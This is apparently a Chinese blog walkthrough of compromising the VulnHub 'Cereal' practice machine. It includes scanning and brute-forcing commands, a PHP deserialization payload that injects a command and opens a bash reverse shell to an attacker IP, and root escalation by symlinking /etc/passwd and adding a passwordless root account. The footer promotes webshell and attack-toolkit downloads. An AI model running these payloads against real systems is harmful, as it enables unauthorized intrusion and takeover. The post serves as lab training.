声明
该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
靶机地址:
https://download.vulnhub.com/cereal/Cereal.ova
内容简介:
主机发现
端口扫描
路径枚举
密码爆破
域名解析
匿名FTP
子域名爆破
源码审计
反序列化漏洞
编写漏洞利用代码
进程监视
本地提权
1.1 主机发现
arp-scan -l
1.2 端口扫描
nmap -p- 192.168.144.149
nmap -p22,21,80,139,445,3306,44441 -A 192.168.144.149
1.3 路径枚举
dirb http://192.168.144.149
存在域名http://cereal.ctf和备份文件
192.168.144.149 cereal.ctf
1.4 wpscan扫描
wpscan --url http://cereal.ctf/blog -e vt,vp --plugins-detection mixed
没有什么发现
1.5 爆破备份文件
dirbuster
按照图内设置
并没有发现存在的备份文件
1.6 爆破子域名
gobuster vhost -u http://cereal.ctf:44441 -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
发现子域名 secure.cereal.ctf
192.168.144.149 secure.cereal.ctf
view-source:http://secure.cereal.ctf:44441/ 访问该页面 存在 反序列化漏洞
通过抓包分析
1.7 源码审计
接着对
http://secure.cereal.ctf:44441/
该网址进行网页目录爆破
发现存在备份目录
http://secure.cereal.ctf:44441/back_en/
对此网址继续爆破备份文件
wget http://secure.cereal.ctf:44441/back_en/index.php.bak
拿到源码文件
审计源码反序列化漏洞
isValid 校验为真(ip为真)的时候,会执行ping操作。
直接声明isValid 为 ture 就可以绕过。。。。
1.8 编写反序列化脚本
class pingTest{
public $ipAddress = "127.0.0.1";
public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D 经解码后
O:8:"pingTest":1:{s:9:"ipAddress";s:9:"127.0.0.1";}
修改 127.0.0.1|id 存在问题
O:8:"pingTest":2:{s:9:"ipAddress";s:12:"127.0.0.1|id";s:7:"isValid";b:1;}
class pingTest{
public $ipAddress = "127.0.0.1|bash -i >& /dev/tcp/192.168.144.247/4444 0>&1";
public $isValid = True;
}
$obj = new pingTest();
echo urlencode(serialize($obj));
O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A55%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.144.247%2F4444+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
反弹成功
1.9 进程监视
把pspy传进靶机
wget http://192.168.144.247/pspy64
chmod +x pspy64
可疑
/bin/bash /usr/share/scripts/chown.sh
1.10 本地提权
该脚本为修改public_html文件权限为rocky
该文件夹下的所有文件都有rocky和apache权限
提权方法
cd /home/rocky/public_html
ln -sf /etc/passwd ./passwd
如果脚本周期性的执行,把etc/passwd 改变权限rocky和apache权限
经过脚本的运行,/etc/passwd 权限确实发生改变
创建账户
echo "sjw::0:0:root:/root:/bin/bash" /etc/passwd
成功!!!!!!!!!!!!!!!
注:如有侵权请后台联系进行删除
觉得内容不错,请点一下"赞"和"在看"
往期精彩
1、公众号后台回复:搜索大法,获取searchall工具下载链接。
2、公众号后台回复:靶场,获取靶场工具网盘下载链接。
3、公众号后台回复:webshell,获取webshell下载链接。
4、公众号后台回复:验证码,获取验证码工具下载链接。
5.公众号后台回复:应急响应,获取应急响应网盘下载链接。
6.公众号后台回复:CS,获取CS渗透工具包网盘下载链接。
原文始发于微信公众号(嗨嗨安全):靶机实战系列之Cereal靶机
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论